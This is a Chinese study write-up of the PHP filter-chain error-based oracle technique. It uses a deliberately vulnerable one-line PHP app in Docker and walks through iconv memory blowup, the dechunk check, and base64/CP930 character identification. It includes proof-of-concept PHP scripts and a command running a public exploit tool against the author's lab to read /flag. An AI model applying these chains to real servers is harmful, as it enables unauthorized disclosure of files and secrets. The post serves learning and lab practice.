逛论坛的时候看见的一篇技术文章 PHP Filter链——基于oracle的文件读取攻击 ,学习记录如下。

技术点来源于一道题目:

Dockerfile:

FROM php:8.1-apache  

EXPOSE 80
RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"

COPY index.php /var/www/html/index.php  
COPY flag /flag

index.php:

<?php 

file($_POST[0]);

环境搭建

使用 docker 简单搭建一个环境:

docker build -t yvl1ng/php_filter_link .
docker run -itd -p 8000:80 yvl1ng/php_filter_link

漏洞分析

基本概念

php://filter 是 PHP 的一个伪协议,允许任意操作本地文件内容。filter 实际上是一个过滤器,能够作为一个中间流来过滤其它的数据流,通常使用它来读取或者写入数据,且在读取和写入之前对数据进行一些过滤,例如 base64 编码等。

iconv 函数

简单来说,iconv 函数可以将字符串由一种编码转换为另一种编码,并且它可以被 php://filter 调用。又因为有些编码在转换过程中能够产生复制字节的效果(如 UNICODE 和 UCS-4),所以结合起来重复调用,就可以将字符串的字节数不断增大,直到导致溢出,引发错误。

在 PHP 的配置文件中有一项 memory_limt ,默认为 128M ,当尝试读取超过这个大小的文件时,就会引发溢出错误。

简单尝试下通过 iconvUCS-4 编码扩大字符串的字节数:

php -r '$str="HELLO"; echo strlen($str)."\n";'

字符串 HELLO 默认使用 UTF8 编码,长度为 5 字节,转换为 UNICODE 编码,字节数乘以 2 ,加上自定义 BOM 的 2 字节,一共是 12 字节:

php -r '$str="HELLO"; echo strlen(iconv("UTF8", "UNICODE", $str))."\n";'

转换为 UCS-4 编码,字节数乘以 4 ,长度变为 20 字节:

php -r '$str="HELLO"; echo strlen(iconv("UTF8", "UCS-4", $str))."\n";'

查看扩展字节数之后的内存分布情况:

php -r '$str="HELLO"; echo iconv("UTF8", "UCS-4", $str);' | xxd

php -r '$str="HELLO"; echo iconv("UTF8", "UCS-4", iconv("UTF8", "UCS-4", $str));' | xxd

发现这里的字符被存储在了高位,为了使得字符能够被泄露,就应该使其存储在低位,即“前导字符( leading character)在 Chain 的开头”。所以这里要使用 UCS-4LE 编码,而不是标准的 UCS-4 编码。UCS-4LE 指的是 UCS-4 的小端序(Little Endian)。在小端序中,低位字节存储在前面,高位字节存储在后面。

php -r '$str="HELLO"; echo iconv("UTF8", "UCS-4LE", iconv("UTF8", "UCS-4LE", $str));' | xxd

尝试对字符串进行重复编码转换,直到引发溢出错误:

<?php

$str = "HELLO";

for ($i = 0; $i < 20; $i++) {
	$str = iconv("UTF8", "UCS-4LE", $str);
}

已经有足够多的内容导致溢出了。

多次编码转换的示意图如下:

dechunk 方法

根据PHP文档描述,php://filter 中的 dechunk 方法可以实现分块传输编码,传输的第一个数据表示数据块的长度,然后是传输的数据。

例如:使用 dechunk 方法读取字符串 HELLO 时,会进行分块传输,首先传输数据块长度 5 ,然后才是传输数据 “HELLO” 。

5\r\n      (chunk length)
HELLO\r\n  (chunk data)

注意:这里的数据块长度(chunk length)是用十六进制表示的,所以当传输的字符串开头字符是十六进制中的 0-9a-fA-F 时,就会引发解析错误,解析器会认为这些字符是待传输数据的长度,但其后面没有 CRLF ,不符合格式约定,从而引发报错。

例如:传输 HELLO 是正常的:

但是传输 0ELLO 就会输出空,原因就是开头的十六进制字符导致解析失败了:

组合利用

结合上面说的溢出方式和过滤条件,得到下面的脚本:

<?php

$bomb = "|";
for ($i = 0; $i < 20; $i++) {
        $bomb .= "convert.iconv.UTF8.UCS-4|";
}

$filter = "php://filter/dechunk$bomb/resource=./text.txt";

echo file_get_contents($filter);

简单来说就是在过滤器中插入 20 次编码转换,当读入的前向字符(第一个字符)不是十六进制字符时,就会执行到链条上的 iconv 部分,导致溢出报错;否则在执行到 dechunk 部分时,就因为不符合格式约定而引发报错,输入到 iconv 的部分为空字符,不会引发溢出报错:

利用这中方式,仅仅能区分前向字符是不是十六进制字符,为了能够实现任意文件读取,还需要一种方式能够识别前向字符到底是什么。

检索 0-9

识别前向字符是否是数字 0-9 ,使用的是 base64 码表的特性。

编写以下脚本,观察数字 0-9 和对应的 base64 编码之间的关系:

import base64  
  
def convert(num):  
    print(f'{num} ==> {base64.b64encode(str(num).encode("utf-8")).decode()}')  
  
if __name__ == '__main__':  
    for i in range(10):  
        convert(i)

输出如下:

0 ==> MA==
1 ==> MQ==
2 ==> Mg==
3 ==> Mw==
4 ==> NA==
5 ==> NQ==
6 ==> Ng==
7 ==> Nw==
8 ==> OA==
9 ==> OQ==

可以发现以下规律:

  • 数字 0-3 产生前导字符 M
  • 数字 4-7 产生前导字符 N
  • 数字 8-9 产生前导字符 O

也就是说,数字的前导字符只可能是 MNO ,而根据 base64 的编码规则,第二位字符要取决于数字之后的一个字符:对于给定的数字,只有后面字符的前四个字节将决定第二个 base64 字符。

可能的组合方式如下:

字符 base64 编码的第一个字符 base64 编码的第二个字符
0 M C, D, E, F, G, H
1 M S, T, U, V, W, X
2 M i, j, k, l, m, n
3 M y, z 或数字
4 N C, D, E, F, G, H
5 N S, T, U, V, W, X
6 N i, j, k, l, m, n
7 N y, z 或数字
8 O C, D, E, F, G, H
9 O S, T, U, V, W, X

检索 a-f

识别前向字符是在 a-f 还是在 A-F 中,使用的是 CP930 编解码器,其编解码表如下:

一个使用的例子:

<?php

$guess_word = "";
$remove_junk_words = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode";

for ($i=0; $i < 5; $i++) {
    
    $guess_word .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_words|";
    $filter = "php://filter/$guess_word/resource=text.txt";
    
    echo "First char value : ".file_get_contents($filter)[0]."\n";
}

注:$remove_junk_words 子链用于从链中删除不可打印的字符;$guess_word 用于 X-IBM-930(CP930)编解码器,每次进行转换时,字符都会移动一个。

当把以上编解码器结合到 dechunk 中,就得到了一个猜测前向字符的 filter :

<?php

$bomb = "";
for ($i = 0; $i < 20; $i++) {
    $bomb .= "convert.iconv.UTF8.UCS-4|";
}

$guess_word = "";
$remove_junk_words = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode";

for ($i=1; $i <= 20; $i++) {
    $guess_word .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_words|";
    $filter = "php://filter/$guess_word|dechunk|$bomb/resource=text.txt";
    
    echo "First char value : "."fedcba"[$i-1]."\n";
    file_get_contents($filter);
}

按照这种方法进行扩展,即可识别更多的前向字符。

识别非前向字符

通过生成两个字节的数据,然后使用 UCS-4LE 编码使原字符串倒置,最后删除之前添加的数据,达到将非前向字符移动到前向字符的位置,再进行识别的目的:

例如,有字符串:ABCDEF ,若要识别第 5 个字符 E ,则可以通过以下步骤实现:

漏洞利用

基于这个漏洞原理,GitHub 上有一把梭的工具:php_filter_chains_oracle_exploit

尝试使用这个脚本对搭建的环境进行攻击:

python filters_chain_oracle_exploit.py --target http://sy.yvling.cn:8000 --file /flag --parameter 0

虽然一步一步跟着文章学习到这里,但还是有不少不太理解的地方,还是得多练😔